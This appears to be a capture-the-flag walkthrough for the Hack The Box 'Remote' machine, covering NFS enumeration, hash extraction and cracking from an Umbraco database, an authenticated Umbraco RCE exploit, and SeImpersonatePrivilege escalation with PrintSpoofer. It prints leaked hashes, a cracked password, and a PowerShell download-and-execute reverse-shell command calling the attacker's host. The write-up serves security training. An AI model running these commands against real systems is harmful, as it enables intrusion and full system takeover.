Remote
is an easy Windows box. Through an exposed nfs, we were able to get access to a backup for the hosted web application. There, we did not only find out that the installed web application is an instance of umbraco, but we were also able to disclose valid login credentials, which ultimately gave us to the administrator dashboard of the application. There, we then discovered that the installed version is vulnerable to Remote Code Execution. We exploited that vulnerability to get initial access to the system. For privilege escalation we used a very well known technique to exploit the SeImpersonatePrivilege.
Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
rustscan --ulimit 5000 remote.htb -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack
2049/tcp open mountd syn-ack 1-3 (RPC #100005)
49666/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The nmap output shows us several open ports:
- Port 21: ftpd (version unknown)
- Port 80: HTTPAPI httpd 2.0 - some kind of web application
- Port 111: rpcbind - exposed NFS
- Port 135/445: SMB
Enumeration Port 21 - FTP
We can successfully connect to the open FTP server as anonymous user, but it seems like the root directory is empty. We might come back to the FTP service later, once we have access to a valid user.
Enumeration Port 80 - Web application
Looking at the exposed web application, we see a static website for the company ACME
(Looney Tunes reference):
The website is filled with some basic information about products, the team, and how to contact them. But nothing is particularly helpful. However, when we look at the source code, all the js and css files (e.g. <link rel="stylesheet" href="/css/umbraco-starterkit-style.css" />
) contain the word umbraco
. A quick google search shows that Umbraco
is actually a Content Manangement System (CMS)
.
“Umbraco is an open-source content management system (CMS) platform for publishing content on the World Wide Web and intranets. Umbraco is primarily written in C#, stores data in a relational database (commonly Microsoft SQL Server) and works on Microsoft IIS. Umbraco’s front-end is built upon Microsoft’s .NET Framework, using ASP.NET. Umbraco uses standard ASP.NET features such as ASP.NET “master pages” to facilitate the creation of reusable page layouts, and supports both Razor and XSLT. XSLT has been used for scripting, and in the past there was much debate as to which yielded better performance, since XML has been used for database storage and for the cache file (umbraco.config)” Source
The research also shows that Umbraco has a login panel for administrators located at /umbraco
. So let’s try to access that:
Great! The problem is: we dont have any valid credenitals. Attempting to log in with common usernames and passwords fails. Hmmm .. we will have to come back to that later, once we have found a pair of credentials.
Enumeration Port 135/445 - SMB
The enumeration of the exposed SMB service fails. All attempts to access the SMB shares fail.
Enumeration Port 111 - RPCbind (NFS)
As seen in the nmap output, it seems like the server exposes some NFS. Let’s see if we can determine which ones we can access. For that, we use the tool showmount
:
1
2
3
4
┌──(kali㉿kali)-[~/HTB/machines/remote]
└─$ showmount -e 10.129.84.138
Export list for 10.129.84.138:
/site_backups (everyone)
We find a shared file system called /site_backups
. Let’s mount it to our attacker machine using the command:
1
2
┌──(kali㉿kali)-[~/HTB/machines/remote]
└─$ sudo mount 10.129.84.138:/site_backups /mnt/site_backups
Inspection of /site_backups
The assumption is that these are the files of the hosted web application (on port 80). If the assumption is correct, we should be able to find some user credentials for the Umbraco login. Either the credentials are located in a config file, or there must be some kind of database. Let’s do some gooogle research: Apparently there should be a database file called Umbraco.sdf
. Furthermore, there is the possibility that the database credentials are stored in the Web.config
file within the tag umbracoDbDSN
. Let’s check out both files.
Web.config - umbracoDbDSN
The web.config file does not reveal any credentials. It seems like there is no connection string in this file.
Umbraco.sdf - Database
Some forum discussions explain how to access the sdf
file using various extensions and database management tools. As a lazy person, that’s too much to set up! There must be something simpler. And there is! Using the strings
command on the umbraco.sdf
file, gives us everything we ever wanted:
1
2
3
Administrator admin b8be16afba8c314ad33d812f22a04991b90e2aaa (SHA1)
admin admin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa (SHA1)
smith smith@htb.local jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts= (HMACSHA256)
We can now attempt to crack those hashes locally using hashcat
. While the hash for the user smith
seems to be uncrackable with common wordslists, we immediately get a match for the hash of user admin
. The retrieved credentials are: admin@htb.local:baconandcheese
.
Initial Foothold - Umbraco Remote Code Execution
Now that we have valid credentials, we can use them to log in to the Umbraco admin dashboard.
During the google research for Umbraco, I’ve already seen that the version 7.12.4
is vulnerable to an authenticated Remote Code Execution. Let’s quickly check for the installed version to verify if such an CVE is applicable to our target.
Perfect! Version 7.12.4! We got our attack vector.
Alternatively, we could have also used the source code in /site_backups
to search for the installed version:
Anyway. Let’s see if there are any available exploit scripts. For that we use searchsploit
:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/machines/remote]
└─$ searchsploit umbraco
------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/46153.py
Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated) | aspx/webapps/49488.py
Umbraco CMS 8.9.1 - Directory Traversal | aspx/webapps/50241.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting | php/webapps/44988.txt
Umbraco v8.14.1 - 'baseUrl' SSRF | aspx/webapps/50462.txt
Here, we use the script 49488.py
: Let’s first have a look at the code:
Apparently, the xsltVisualize.aspx
is vulnerable to Remote Code Exeuction. In the payload we clearly see that the vulnerability is related to XML - in particular to XSL. This means, we can include commands in the XSL and the vulnerable endpoint will execute the injected code.
We can use the existing script to verify the existence of the vulnerability. Here, we try to ping our attacker machine from the target machine as a Proof-of-Concept:
And it works! We have just confirmed that the software is indeed vulnerable to the Remote Code Execution! We can now try to establish a reverse shell to get initial access to the system. For that, we use nishang's Invoke-PowerShellTcp.ps1
script as it’s super easy to use. The steps to establish the reverse shell are dipicted below:
Great! Now we’ve got access to the system as user iis apppool\defaultapppool
. Looking at the Users directory, we can also see that there are no non-administrator users. This means, we might be able to obtain the user flag with our current permissions. And indeed. THe user flag is located in the Public
user directory.
Privilege Escalation
Let’s proceed with the privilege escalation. First, we start with the enumeration of the system. Systeminfo
gives us more information about the installed OS: It’s a Windows Server 2019 Standard Version 10.0.17763 N/A Build 17763
. Using whoami all
we can also determine the current privileges of our user:
1
2
3
4
5
6
7
8
9
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
The SeImpersonatePrivilege
is quite interesting. If this privilege is enabled, the chances are pretty high that we can use a Potato exploit or the PrintSpoofer exploit to escalate privileges.
Here, we decided to test for the PrintSpoofer exploit:
First, we download the pre-compiled binary from here. Then, we transfer the binary to the target machine and simply execute it as follows:
1
.\PrintSpoofer.exe -c "powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.14.38/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.38 -Port 4444"
The result is a reverse shell as nt authority\system
:
Easy as that! We can now retrieve the root flag.